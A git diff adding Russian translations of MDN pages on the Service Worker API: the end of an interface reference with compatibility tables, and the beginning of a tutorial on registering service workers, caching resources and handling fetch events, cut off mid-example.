+ <dd>Параметр, передаваемый в обработчик {{domxref("ServiceWorkerGlobalScope.onnotificationclick", "onnotificationclick")}}, интерфейс <code>NotificationEvent</code> представляет событие уведомления на клик, которое отправлется в {{domxref("ServiceWorkerGlobalScope")}} service worker'а.</dd>
+ <dt>{{domxref("ServiceWorker") }}</dt>
+ <dd>Представляет service worker. Несколько контекстов браузера (страницы, worker'ы, и т.д.) могут быть ассоциированы с одним объектом <code>ServiceWorker</code>.</dd>
+ <dt>{{domxref("ServiceWorkerContainer") }}</dt>
+ <dd>Предоставляет объект, описывающий service worker как общий блок в экосистеме сети, включая возможность регистрировать, отключать и обновлять service worker'ы, и предоставляет доступ к состоянию текущего и других зарагестрованных service worker'ов.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope") }}</dt>
+ <dd>Представляет глобальный контекст исполнения service worker'а.</dd>
+ <dt>{{domxref("ServiceWorkerMessageEvent")}}</dt>
+ <dd>Содержит информацию о событии, отправленном целевому  {{domxref("ServiceWorkerContainer")}}. </dd>
+ <dt>{{domxref("ServiceWorkerRegistration") }}</dt>
+ <dd>Представляет регистрацию service worker'а.</dd>
+ <dt>{{domxref("SyncEvent")}} {{non-standard_inline}}</dt>
+ <dd>
+ <p>SyncEvent предсталяет синхронное действие, котрое отправляется {{domxref("ServiceWorkerGlobalScope")}} ServiceWorker. </p>
+ </dd>
+ <dt>{{domxref("SyncManager")}} {{non-standard_inline}}</dt>
+ <dd>Обеспечивает интерфейс регистрации и перечисления синхронных рагистраций.</dd>
+ <dt>{{domxref("WindowClient") }}</dt>
+ <dd>Предствляет область видимости клинетского service worker'а, представленного в виде документа в контекте браузера, контролируемого активным worker'ом. Это особый тип объекта {{domxref("Client")}} с некоторыми дополнительными методами и свойствами.</dd>
+</dl>
+
+<h2 id="Спецификации_характеристики">Спецификации (характеристики)</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">       Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<h4 id="Таблица_совместимости"><strong>Таблица совместимости</strong></h4>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойства</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[1]</sup></td>
+   <td>{{ CompatNo() }}</td>
+   <td>24</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>События установки/активации</td>
+   <td>{{ CompatChrome(40.0) }}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[1]</sup></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>Событие fetch/request/<br>
+    <code>respondWith()</code></td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[1]</sup></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>Кеш</td>
+   <td>
+    <p class="p1">{{CompatChrome(42.0)}}</p>
+   </td>
+   <td>{{ CompatGeckoDesktop("39.0") }}<sup>[1]</sup></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td></td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>События установки/активации</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>Событие fetch/request/<br>
+    <code>respondWith()</code></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>Кеш</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoMobile("39.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Service workers (и <a href="/en-US/docs/Web/API/Push_API">Push</a>) были отключены в  <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="Смотрите_также">Смотрите также:</h2>
+
+<ul>
+ <li>Кулинарная книга <a href="https://serviceworke.rs">ServiceWorker </a></li>
+ <li>Использование<a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers"> Service Workers</a></li>
+ <li>Основные примеры кода <a href="https://github.com/mdn/sw-test">Service workers</a></li>
+ <li>Готов ли <a href="https://jakearchibald.github.io/isserviceworkerready/">ServiceWorker?</a></li>
+ <li>Перспектива</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ru/web/api/service_worker_api/using_service_workers/index.html b/files/ru/web/api/service_worker_api/using_service_workers/index.html
new file mode 100644
index 0000000000..4eaa4dfc01
--- /dev/null
+++ b/files/ru/web/api/service_worker_api/using_service_workers/index.html
@@ -0,0 +1,524 @@
+---
+title: Использование Service Worker
+slug: Web/API/Service_Worker_API/Using_Service_Workers
+tags:
+  - основы ServiceWorker Workers руководство
+translation_of: Web/API/Service_Worker_API/Using_Service_Workers
+---
+<p>{{ServiceWorkerSidebar}}</p>
+
+<div class="summary">
+<p>В данной статье содержится информация о начале работы с сервис-воркерами, включая базовую архитектуру, процесс регистрации, а также установку и активацию новых сервис-воркеров, обновление существующих сервис-воркеров, управление кешем и настраиваемые ответы и все это в контексте простого приложения с offline-функциональностью.</p>
+</div>
+
+<h2 id="Предпосылки_появления_Service_Workers">Предпосылки появления Service Workers</h2>
+
+<p>Одной из важнейших проблем, от которой страдали пользователи веб-приложений, была работа в условиях потери связи. Лучшее в мире веб-приложение оставит ужасное впечатление от использования, если вы не сможете его загрузить. Предпринималось много попыток создания технологий, которые бы решили эту проблему, и если верить страницам нашего <a href="/en-US/Apps/Build/Offline">Форума</a>, некоторые из вопросов были решены. Но все же наиважнейшей проблемой по-прежнему является отсутствие хорошего механизма для управления кешем ресурсов и настраиваемыми сетевыми запросами.<br>
+ <br>
+ Предыдущей попыткой была технология AppCache, казавшаяся хорошей идеей, потому как позволяла действительно просто указывать ресурсы для кеширования. Однако, эта технология допускает много предположений о том, что вы пытаетесь сделать, и затем с грохотом ломается, когда ваше приложение работает не в точности с этими допущениями. Чтобы получить больше информации по этой теме, прочитайте (неудачно названную, но хорошо написанную) статью Джейка Арчибальда <a href="http://alistapart.com/article/application-cache-is-a-douchebag">Application Cache is a Douchebag</a>.</p>
+
+<div class="note">
+<p><strong>На заметку</strong>: Начиная с Firefox 44, когда используется <a href="/ru/docs/Web/HTML/%D0%98%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BA%D1%8D%D1%88%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9">AppCache</a> для предоставления странице поддержки offline-режима, в консоли разработчика отображается предупреждение о том, что нужно использовать технологию <a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Service Workers</a> ({{bug("1204581")}}.)</p>
+</div>
+
+<p>Технология Service Workers должна в итоге решить озвученные выше вопросы. Синтаксис Service Worker более сложен, чем тот же AppCache, но взамен вы можете посредством JavaScript контролировать AppCache-подразумеваемое поведение с высокой степенью детализации, что позволяет вам решить описанную проблему и многие другие. Используя Service Worker, вы можете без труда получить приложение, использующее в первую очередь кешированные ресурсы, предоставляя тем самым поведение по умолчанию в автономном режиме, до того как будет получено по сети больше данных (такой подход называется <a href="http://offlinefirst.org/">Offline First</a>). Так обычно работают нативные приложения, что часто является причиной выбора пользователя в их пользу.</p>
+
+<h2 id="Что_нужно_настроить_чтобы_поиграть_с_Service_Worker">Что нужно настроить, чтобы поиграть с Service Worker</h2>
+
+<p>Многие функции Service Worker теперь включены по умолчанию в новых браузерах, поддерживающих эту технологию. Однако, если вы обнаружите, что демонстрационный код не работает в вашей версии браузера, вам может понадобиться их включить:</p>
+
+<ul>
+ <li><strong>Firefox Nightly</strong>: Перейдите в раздел <code>about:config</code> и установите параметр <code>dom.serviceWorkers.enabled</code> в значение true; затем перезапустите браузер.</li>
+ <li><strong>Chrome Canary</strong>: Перейдите в раздел <code>chrome://flags</code> и включите <code>experimental-web-platform-features</code>; перезапустите браузер (заметьте, что некоторые функции теперь включены по умолчанию в браузере Chrome.)</li>
+ <li><strong>Opera</strong>: Перейдите в раздел <code>opera://flags</code> и включите <code>Support for ServiceWorker</code>; перезапустите браузер.</li>
+ <li><strong>Microsoft Edge</strong>: Перейдите в раздел <code>about:flags</code> и поставьте галочку <code>Enable service workers</code>; перезапустите браузер.</li>
+</ul>
+
+<p>Также вам необходимо предоставлять ваш код по протоколу HTTPS — Service Worker требует этого по соображениям безопасности. По этой причине GitHub — хороший выбор для экспериментов, поскольку он поддерживает протокол HTTPS по умолчанию. Для облегчения локальной разработки браузеры считают <code>localhost</code> также безопасным origin.</p>
+
+<h2 id="Базовая_архитектура">Базовая архитектура</h2>
+
+<p>Чтобы сделать базовую настройку Service Worker, как правило, нужно пройти следующие шаги:</p>
+
+<ol>
+ <li>URL сервис-воркера опрашивается и регистрируется посредством вызова метода {{domxref("ServiceWorkerContainer.register()")}}.</li>
+ <li>Если регистрация прошла успешно, то сервис-воркер начинает работать внутри {{domxref("ServiceWorkerGlobalScope") }}; это, по сути, особый вид контекста воркера, работающий вне главного потока браузера, без доступа к DOM.</li>
+ <li>Теперь сервис-воркер может обрабатывать события.</li>
+ <li>Установка сервис-воркера начинается после того, как все контролируемые им страницы закешированы и доступны для последующего использования. Событие <code>install</code> всегда посылается первым воркеру (оно может быть использовано для запуска начальной загрузки данных в IndexedDB, для кеширования ресурсов). Данный этап сродни процедуре установки нативного или FirefoxOS-приложения — все делается доступным для использования в оффлайн-режиме.</li>
+ <li>Как только обработчик события <code>oninstall</code> завершит свою работу, сервис-воркер считается установленным.</li>
+ <li>Далее следует активация. После того как воркер установлен, он получает событие <code>onactivate</code>, которое обычно используется для очистки ресурсов, задействованных в предыдущей версии скрипта сервис-воркера.</li>
+ <li>Сервис-воркер здесь может контролировать страницы, но только в случае, если те открыты после успешного вызова <code>register()</code>. То есть документ может начать жизнь с сервис-воркером или даже без него и продолжать нормально работать. Поэтому документы должны быть перезагружены, чтобы действительно быть подконтрольными сервис-воркеру.</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12636/sw-lifecycle.png" style="display: block; height: 867px; margin: 0px auto; width: 579px;"></p>
+
+<p>Следующий рисунок кратко показывает доступные события Service Worker:</p>
+
+<p><img alt="install, activate, message, fetch, sync, push" src="https://mdn.mozillademos.org/files/12632/sw-events.png" style="display: block; margin: 0px auto;"></p>
+
+<h3 id="Промисы_обещания">Промисы (обещания)</h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Промисы</a> — отличный механизм для запуска асинхронных операций, которые могут успешно зависеть друг от друга. Промисы имеют большое значение в работе сервис-воркеров.</p>
+
+<p>Промисы могут делать много всего, но сейчас вам достаточно знать, что если что-то возвращает промис, то вы можете дописать вызов метода <code>.then()</code>, передав ему функцию на случай удачного выполнения, и вызов метода <code>.catch()</code>, если хотите передать функцию при неуспешном выполнении.</p>
+
+<p>Давайте сравним структуру традиционного синхронного обратного вызова с его промис-эквивалентом.</p>
+
+<h4 id="sync">sync</h4>
+
+<pre class="brush: js notranslate">try {
+  const value = myFunction();
+  console.log(value);
+} catch(err) {
+  console.log(err);
+}</pre>
+
+<h4 id="async">async</h4>
+
+<pre class="brush: js notranslate">myFunction().then((value) =&gt; {
+  console.log(value);
+}).catch((err) =&gt; {
+  console.log(err);
+});</pre>
+
+<p>В первом примере код, идущий за вызовом функции <code>myFunction()</code>, будет ждать завершения вызова и возврата значения. Во втором примере <code>myFunction()</code> возвращает промис для <code>value</code>, в этом случае, последующий код сможет выполняться, не дожидаясь завершения основной работы функции. Когда промис разрешится, код, переданный методу <code>then</code>, будет выполнен асинхронно.</p>
+
+<p>А вот вам реальный пример: что, если мы хотим загружать изображения динамически, к тому же мы желаем удостовериться, что изображения загрузились до того, как они будут показаны? То, что мы хотим сделать, является стандартной задачей, но она все же может доставить головной боли. Мы можем использовать <code>.onload</code>, чтобы показать изображение только после загрузки, но что делать с событиями, которые могут произойти до того, как мы начнем их слушать? Мы могли бы использовать <code>.complete</code>, но оно все еще ненадежно, да и что делать с повторяющимися изображениями? И наконец все это работает синхронно, блокируя главный поток.</p>
+
+<p>Вместо этого мы можем написать собственный промис для работы с подобными случаями. (Вы можете найти исходный код в нашем примере <a href="https://github.com/mdn/promises-test">Promises test</a> или взглянуть на <a href="https://mdn.github.io/promises-test/">живое демо</a>.)</p>
+
+<p>{{note("Реальные реализации сервис-воркеров скорее всего будут использовать <code>onfetch</code>, а не устаревающий XMLHttpRequest API. Эти возможности не используются здесь, так что можете сосредоточиться на изучении промисов.")}}</p>
+
+<pre class="brush: js notranslate">const imgLoad = (url) =&gt; {
+  return new Promise((resolve, reject) =&gt; {
+    var request = new XMLHttpRequest();
+    request.open('GET', url);
+    request.responseType = 'blob';
+
+    request.onload = () =&gt; {
+      if (request.status == 200) {
+        resolve(request.response);
+      } else {
+        reject(Error('Image didn\'t load successfully; error code:' + request.statusText));
+      }
+    };
+
+    request.onerror = () =&gt; {
+      reject(Error('There was a network error.'));
+    };
+
+    request.send();
+  });
+}</pre>
+
+<p>Мы возвращаем новый промис, созданный конструктором <code>Promise()</code>, который в качестве аргумента принимает функцию с параметрами <code>resolve</code> и <code>reject</code>. Где-то внутри функции мы должны определить случаи, при которых промис должен быть разрешен или отклонен, — в нашем случае, в зависимости от того, вернулся ли статус 200 ОК или нет, будут вызваны <code>resolve</code> в случае успеха или <code>reject</code> при неудаче. Последующее содержимое этой функции — вполне стандартное XHR-наполнение, поэтому на данный момент не стоит о нем волноваться.</p>
+
+<p>Вызывая функцию <code>imgLoad()</code>, мы ожидаемо передаем в качестве параметра url изображения, которое хотим загрузить, но далее код немного отличается:</p>
+
+<pre class="brush: js notranslate">let body = document.querySelector('body');
+let myImage = new Image();
+
+imgLoad('myLittleVader.jpg').then((response) =&gt; {
+  var imageURL = window.URL.createObjectURL(response);
+  myImage.src = imageURL;
+  body.appendChild(myImage);
+}, (Error) =&gt; {
+  console.log(Error);
+});</pre>
+
+<p>После вызова функции мы "цепляем" к ней вызов промис-метода <code>then()</code>, которому в качестве параметров передаем две функции - первая будет вызвана в случае выполнения промиса, созданного вызовом функции <code>imgLoad()</code>, вторая функция будет вызвана в случае отклонения этого промиса. В случае выполнения мы показываем изображение в элементе <code>myImage</code>, который прикрепляем к body (аргументом является <code>request.response</code>, помещенный в промис-методе <code>resolve</code>); в случае отклонения промиса в консоли будет отображено сообщение об ошибке.</p>
+
+<p>Все это происходит асинхронно.</p>
+
+<div class="note">
+<p><strong>На заметку</strong>: Вы можете также объединять вызов нескольких промис-методов в одну цепочку, как в этом примере:<br>
+ <code>myPromise().then(success, failure).then(success).catch(failure);</code></p>
+</div>
+
+<div class="note">
+<p><strong>На заметку</strong>: Вы можете получить гораздо больше информации о промисах, прочитав превосходную статью Джейка Арчибальда (Jake Archibald’s) <a href="http://www.html5rocks.com/en/tutorials/es6/promises/">JavaScript Promises: there and back again</a>.</p>
+</div>
+
+<h2 id="Демонстрация_Service_Workers">Демонстрация Service Workers</h2>
+
+<p>Чтобы продемонстрировать только базовые моменты регистрации и установки сервис-воркеров, мы создали простое демо-приложение, названое <a href="https://github.com/mdn/sw-test">sw-test</a>. Это простая галерея изображений "Star wars Lego". Оно использует промис-функции, чтобы прочитать из JSON-объекта и загрузить, используя технологию Ajax, изображения, находящиеся далее нижнего края страницы, до того как они будут показаны. В приложении также еще регистрируется, устанавливается и активируется сервис-воркер, и, в случае если браузер поддерживает спецификацию Service Worker, запрашиваемые ресурсы будут закешированы, и приложение будет работать в offline-режиме!</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8243/demo-screenshot.png" style="display: block; height: 410px; margin: 0px auto; width: 480px;"><br>
+ <br>
+ Вы можете посмотреть <a href="https://github.com/mdn/sw-test/">исходный код на GitHub</a>, а также <a href="https://mdn.github.io/sw-test/">этот живой пример</a>. Единственное, что мы тут рассмотрим, это промис (смотрите <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L22-L47">app.js строки 22-47</a>), модифицированная версия того, о котором вы читали выше в разделе <a href="https://github.com/mdn/promises-test">Тестовая демонстрация промисов</a>. Разница в следующем:</p>
+
+<ol>
+ <li>Ранее мы передавали параметром лишь URL изображения, которое мы хотели загрузить. Теперь же, мы передаем JSON-фрагмент, содержащий все данные для изображения (посмотрите, как это выглядит в <a href="https://github.com/mdn/sw-test/blob/gh-pages/image-list.js">image-list.js</a>). Это сделано потому, что все данные для выполнения каждого промиса должны быть переданы ему, так как он выполняется асинхронно. Если же вы передали лишь URL, а чуть позже попытались получить доступ к другим атрибутам в JSON-фрагменте внутри цикла <code>for()</code>, это бы не сработало, так как этот промис не был бы выполнен во время текущей итерации цикла (это синхронный процесс).</li>
+ <li>Теперь мы выполняем промис с параметром-массивом, так как дальше мы хотим сделать загруженные данные изображения доступными для разрешающей функции, одновременно с именем файла, данными авторства и замещающим текстом (см. <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L31-L34">app.js строки 31-34</a>). Промисы будут выполняться со всего одним аргументом, поэтому, если вы хотите выполнить их с несколькими параметрами, вы должны использовать массив/объект.</li>
+ <li>Затем, чтобы получить доступ к выполненным значениям промисов, мы обращаемся к ним так, как было задумано (смотрите <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L60-L64">app.js строки 60-64</a>). По началу это может выглядеть немного странно, но именно так и работают промисы.</li>
+</ol>
+
+<h2 id="Погружение_в_Service_Worker">Погружение в Service Worker</h2>
+
+<p>Итак, переходим к Service Worker!</p>
+
+<h3 id="Регистрация_воркеров">Регистрация воркеров</h3>
+
+<p>Ниже представлен первый блок кода файла app.js. Это точка входа в Service Worker.</p>
+
+<pre class="brush: js notranslate">if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('./sw-test/sw.js', {scope: './sw-test/'})
+  .then((reg) =&gt; {
+    // регистрация сработала
+    console.log('Registration succeeded. Scope is ' + reg.scope);
+  }).catch((error) =&gt; {
+    // регистрация прошла неудачно
+    console.log('Registration failed with ' + error);
+  });
+}</pre>
+
+<ol>
+ <li>Внешний условный блок выполняет проверку на поддержку Service Worker, чтобы убедиться что технология доступна, до того как начать регистрацию.</li>
+ <li>Далее, чтобы зарегистрировать сервис-воркера для этого сайта, мы используем функцию {{domxref("ServiceWorkerContainer.register()") }}. Сервис-воркер представляет собой JavaScript-файл приложения (обратите внимание, что URL указывается относительно "корня", а не места расположения JS-файла, регистрирующего сервис-воркер).</li>
+ <li>Параметр scope - не обязателен, он может быть использован для указания подмножества контента, которое вы хотите отдать под контроль сервис-воркера. В нашем случае, мы указали <code>'./sw-test/'</code>. Если вы не укажете его, то будет использовано значение по умолчанию; мы же указали его только в целях иллюстрации.</li>
+ <li>Метод <code>.then()</code> был использован для обработки успешной регистрации. Если промис разрешится успешно, то код, переданный этому методу, будет выполнен.</li>
+ <li>Ну и наконец, в конец нашего промиса мы добавляем функцию <code>.catch()</code>, которая будет выполнена в случае, если промис будет отклонен.</li>
+</ol>
+
+<p>Предыдущий код регистрирует сервис-воркера, который работает в worker-контексте, и следовательно, не имеет доступа к DOM. Затем вы запускате код в сервис-воркере, вне ваших страниц, чтобы контролировать их загрузку.</p>
+
+<p>Один сервис-воркер может контролировать несколько страниц. Каждый раз, когда загружается страница, находящаяся в пределах области видимости, сервис-воркер будет установлен на ней и начнет работу. Поэтому будьте осторожны с применением глобальных переменных в скриптах сервис-воркеров, потому как у каждой страницы нет своего уникального экземпляра сервис-воркера.</p>
+
+<div class="note">
+<p><strong>На заметку</strong>: Сервис-воркеры функционально похожи на прокси-серверы, они позволяют модифицировать запросы и ответы, замещая записями из собственного кеша, и многое другое.</p>
+</div>
+
+<div class="note">
+<p><strong>На заметку</strong>: Есть одна очень хорошая особенность при работе с сервис-воркерами. В случае, если вы используете функционал проверки поддержки Service Worker, то приложение в браузерах, не имеющих поддержки, продолжат нормально работать с ожидаемым поведением. Кроме того, если браузер поддерживает только AppCache, то будет использована эта технология. В случае, если браузер поддерживает и AppCache и Service Worker, то будет использована Service Worker.</p>
+</div>
+
+<h4 id="Почему_мой_сервис-воркер_не_прошел_регистрацию">Почему мой сервис-воркер не прошел регистрацию?</h4>
+
+<p>Это может произойти по следующим причинам:</p>
+
+<ol>
+ <li>Приложение загружено не по протоколу HTTPS.</li>
+ <li>Путь к сервис-воркеру указан некорректно — он должен быть написан относительно origin запроса, а не вашей корневой директории с приложением. В нашем примере воркер расположен в <code>https://mdn.github.io/sw-test/sw.js</code>, корневая папка — <code>https://mdn.github.io/sw-test/</code>. Но в качестве пути к сервис-воркеру нужно указывать <code>/sw-test/sw.js</code>, а не <code>/sw.js</code>.</li>
+ <li>Origin сервис-воркера отличается от origin вашего приложения. Это также запрещено.</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12630/important-notes.png" style="display: block; height: 277px; margin: 0px auto; width: 574px;"></p>
+
+<p>Также обратите внимание:</p>
+
+<ul>
+ <li>В сервис-воркер будут попадать только те запросы, которые соответствуют его scope.</li>
+ <li>Максимальная видимость scope сервис-воркера равна его location.</li>
+ <li>Если ваш сервис-воркер работает на клиенте, которому был передан заголовок <code>Service-Worker-Allowed</code>, вы можете указать список максимальных scope'ов для этих воркеров.</li>
+</ul>
+
+<h3 id="Установка_и_активация_заполнение_кеша">Установка и активация: заполнение кеша</h3>
+
+<p>После того как ваш сервис-воркер будет зарегистрирован, браузер может попробовать установить его и активировать на странице/сайте.</p>
+
+<p>Событие install возникает после того как установка успешно завершится. Это событие используется главным образом для того, чтобы заполнить кеш браузера ресурсами, необходимыми для успешного запуска в offline-режиме. Для этого используется новый API хранилища Service Worker — {{domxref("cache")}} — глобальный для всех сервис-воркеров, который позволяет нам хранить результаты запросов, используя в качестве ключа для их получения сами запросы. Этот API работает аналогично стандартному кешу браузера, но только для вашего домена. Данные в кеше сохраняются до тех пор, пока вы сами не решите их удалить — вы имеете полный контроль.</p>
+
+<div class="note">
+<p><strong>На заметку</strong>: Cache API поддерживается не всеми браузерами (смотрите раздел {{anch("Browser support")}} чтобы получить больше информации). Если вы хотите сейчас использовать эту технологию, то можете рассмотреть возможность использования полифила, который доступен в <a href="https://github.com/Polymer/topeka/blob/master/sw.js">Google's Topeka demo</a>, или можете хранить ресурсы в <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p>
+</div>
+
+<p>Давайте начнем этот раздел посмотрев на фрагмент кода ниже — это <a href="https://github.com/mdn/sw-test/blob/gh-pages/sw.js#L1-L17">первый блок кода, который вы увидите в нашем сервис-воркере</a>:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('install', (event) =&gt; {
+  event.waitUntil(
+    caches.open('v1').then((cache) =&gt; {
+      return cache.addAll([
+        './sw-test/',
+        './sw-test/index.html',
+        './sw-test/style.css',
+        './sw-test/app.js',
+        './sw-test/image-list.js',
+        './sw-test/star-wars-logo.jpg',
+        './sw-test/gallery/',
+        './sw-test/gallery/bountyHunters.jpg',
+        './sw-test/gallery/myLittleVader.jpg',
+        './sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});</pre>
+
+<ol>
+ <li>Здесь мы добавляем обработчик события <code>install</code> к сервис-воркеру (отныне <code>self</code>), и затем вызываем метод {{domxref("ExtendableEvent.waitUntil()") }} объекта события. Такая конструкция гарантирует, что сервис-воркер не будет установлен, пока код, переданный внутри <code>waitUntil()</code>, не завершится с успехом.</li>
+ <li><span style="line-height: 1.5;">Внутри <code>waitUntil()</code> мы используем метод </span><a href="/en-US/docs/Web/API/CacheStorage/open">caches.open()</a>, чтобы создать новый кеш, который назовём <code>v1</code>, это будет первая версия кеша ресурсов. Этот метод возвращает промис для созданного кеша; когда он выполнится, у объекта созданного кеша мы вызовем метод <code>addAll()</code>, который в качестве параметра ожидает получить массив origin-относительных URL всех ресурсов, которые мы хотим хранить в кеше.</li>
+ <li>Если промис будет отклонен, то установка будет завершена неудачно, и воркер ничего не сделает. Это хорошо, потому как вы можете исправить свой код и затем попробовать провести регистрацию в следующий раз.</li>
+ <li>После успешной установки сервис-воркер активируется. Этот момент не очень важен при первоначальной установке/активации сервис-воркера, в то же время он имеет большое значение, когда происходит обновление воркера (смотрите раздел {{anch("Обновление вашего сервис-воркера")}}, находящийся ниже).</li>
+</ol>
+
+<div class="note">
+<p><span style="font-size: 14px; line-height: 21px;"><strong>На заметку</strong></span>: <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a> работает схожим образом, но в синхронном режиме, поэтому запрещен в сервис-воркерах.</p>
+</div>
+
+<div class="note">
+<p><span style="font-size: 14px; line-height: 21px;"><strong>На заметку</strong></span>: При необходимости хранить данные в сервис-воркерах вы можете использовать <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p>
+</div>
+
+<h3 id="Настраиваемые_ответы_на_запросы">Настраиваемые ответы на запросы</h3>
+
+<p>Теперь ресурсы вашего сайта находятся в кеше и вам необходимо указать сервис-воркеру, что делать с этим контентом. Это легко сделать, обработав событие <code>fetch</code>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12634/sw-fetch.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Событие <code>fetch</code> возникает каждый раз, когда запрашиваются любые подконтрольные сервис-воркеру ресурсы, к которым относятся документы из области видимости и другие ресурсы, связанные с этими документами (например, если в index.html происходит кросс-доменный запрос для загрузки изображения, то он тоже попадет в сервис-воркер).</p>
+
+<p>Вы можете подключить к сервис-воркеру обработчик события <code>fetch</code> и внутри него на объекте события вызвать метод <code>respondWith()</code>, чтобы заменить ответы и показать собственную "магию".</p>
+
+<pre class="brush: js notranslate">self.addEventListener('fetch', (event) =&gt; {
+  event.respondWith(
+    // магия происходит здесь
+  );
+});
+</pre>
+
+<p>Для начала, на каждый сетевой запрос мы можем отдать в ответ ресурс, чей url соответствует запросу:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('fetch', (event) =&gt; {
+  event.respondWith(
+    caches.match(event.request)
+  );
+});</pre>
+
+<p><code>caches.match(event.request)</code> позволяет нам проверять сетевой запрос ресурса на соответствие какому-либо доступному в кеше ресурсу, если такой ресурс имеется. Соответствие проверяется по url и изменяемым заголовкам.</p>
+
+<p>Давайте рассмотрим несколько других вариантов реализации нашей магии (чтобы получить больше информации об интерфейсах {{domxref("Request")}} и {{domxref("Response")}} смотрите <a href="/en-US/docs/Web/API/Fetch_API">документацию к Fetch API</a>.)</p>
+
+<ol>
+ <li>
+  <p>Конструктор <code>{{domxref("Response.Response","Response()")}}</code> позволяет вам создавать собственные ответы. В данном случае, мы всего лишь возвращаем простую текстовую строку:</p>
+
+  <pre class="brush: js notranslate">new Response('Hello from your friendly neighbourhood service worker!');
+</pre>
+
+  <p>В этом более сложном объекте Response показано, как вы можете передать набор заголовков в свой ответ, эмулируя стандартный HTTP-ответ. Здесь мы просто сообщаем браузеру, чем является содержимое ответа:</p>
+
+  <pre class="brush: js notranslate">new Response('&lt;p&gt;Hello from your friendly neighbourhood service worker!&lt;/p&gt;', {
+  headers: { 'Content-Type': 'text/html' }
+});</pre>
+ </li>
+ <li>
+  <p>Если совпадение не было найдено в кеше, вы можете попросить браузер {{domxref("GlobalFetch.fetch","загрузить")}} тот же ресурс, чтобы получить новый файл через обычную сеть, если она доступна:</p>
+
